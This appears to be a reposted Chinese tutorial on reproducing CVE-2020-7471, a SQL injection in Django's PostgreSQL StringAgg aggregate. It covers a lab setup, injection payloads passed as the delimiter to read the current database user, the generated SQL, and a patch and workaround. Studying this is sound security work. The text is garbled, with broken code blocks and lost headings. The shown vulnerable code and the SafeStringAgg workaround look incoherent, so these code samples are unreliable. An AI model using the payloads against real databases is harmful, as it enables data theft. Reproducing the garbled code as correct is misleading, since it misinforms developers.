# 怎么進行CVE-2020-7471漏洞復現及淺析
## 一、漏洞概述
**CVE-2020-7471**是Django框架中的一個SQL注入漏洞,于2020年2月3日被官方披露。該漏洞影響Django 1.11.x至3.0.x版本,主要存在于`django.contrib.postgres.aggregates.StringAgg`聚合函數中。由于對分隔符參數的不當處理,攻擊者可構造惡意輸入實現SQL注入。
### 受影響版本
- Django 1.11.x
- Django 2.2.x
- Django 3.0.x
### 修復版本
- Django 1.11.28
- Django 2.2.10
- Django 3.0.3
## 二、漏洞原理分析
### 1. 技術背景
Django的`StringAgg`聚合函數用于PostgreSQL數據庫的字符串連接操作,其語法為:
```python
StringAgg(expression, delimiter, ordering=None)
其中delimiter
參數未進行充分轉義,導致攻擊者可通過注入特殊字符(如單引號)破壞SQL語句結構。
在django/contrib/postgres/aggregates.py
中,StringAgg
類的as_sql
方法存在缺陷:
def as_sql(self, compiler, connection):
# ...省略部分代碼...
return '%s(%s%s)' % (
self.function,
', '.join(expressions),
')',
), params
未對用戶控制的delimiter
參數進行參數化處理,直接拼接到SQL語句中。
# 使用Docker快速搭建環境
docker run --name django-pg -e POSTGRES_PASSWORD=123456 -p 5432:5432 -d postgres
pip install django==3.0.2 psycopg2-binary
# models.py
from django.db import models
from django.contrib.postgres.aggregates import StringAgg
class VulnModel(models.Model):
name = models.CharField(max_length=100)
description = models.TextField()
# settings.py
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'postgres',
'USER': 'postgres',
'PASSWORD': '123456',
'HOST': 'localhost',
'PORT': '5432',
}
}
from vuln_app.models import VulnModel
from django.contrib.postgres.aggregates import StringAgg
# 正常查詢
queryset = VulnModel.objects.annotate(
combined=StringAgg('name', delimiter='-')
)
print(queryset.query) # 觀察生成的SQL
# 注入payload
malicious_delimiter = "')--"
queryset = VulnModel.objects.annotate(
combined=StringAgg('name', delimiter=malicious_delimiter)
)
print(queryset.query)
# 通過注入獲取敏感信息
injection_payload = "') || (SELECT current_user))--"
queryset = VulnModel.objects.annotate(
combined=StringAgg('name', delimiter=injection_payload)
)
print(queryset[0].combined) # 輸出包含數據庫用戶信息
正常SQL:
SELECT STRING_AGG("vuln_model"."name", '-') AS "combined" FROM "vuln_model"
注入后SQL:
SELECT STRING_AGG("vuln_model"."name", '') || (SELECT current_user))--') AS "combined" FROM "vuln_model"
StringAgg
聚合函數delimiter
參數官方補丁主要修改了as_sql
方法:
def as_sql(self, compiler, connection):
# 將delimiter作為參數傳遞
return '%s(%s, %s)' % (
self.function,
', '.join(expressions),
'%s',
), params + [self.delimiter]
立即升級Django到安全版本:
pip install --upgrade django
若無法立即升級,可重寫StringAgg
類:
“`python
from django.contrib.postgres.aggregates import StringAgg as BaseStringAgg
class SafeStringAgg(BaseStringAgg): def as_sql(self, compiler, connection): sql, params = super().as_sql(compiler, connection) return sql % (connection.ops.quote_value(params[-1]),), params[:-1]
3. 對所有用戶輸入進行嚴格驗證
## 七、總結
CVE-2020-7471展示了ORM框架中可能存在的安全隱患,即使高級抽象層也可能因實現不當導致SQL注入。開發人員應當:
- 保持框架和依賴庫的及時更新
- 對聚合函數等高級功能保持警惕
- 實施縱深防御策略
**漏洞修復關鍵點**:所有SQL參數必須通過參數化方式傳遞,而非字符串拼接。
---
> 本文僅用于安全研究學習,請勿用于非法用途。實際測試應獲取系統所有者授權。
注:實際復現時需根據具體環境調整數據庫配置和模型定義。完整復現建議在隔離的測試環境中進行。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。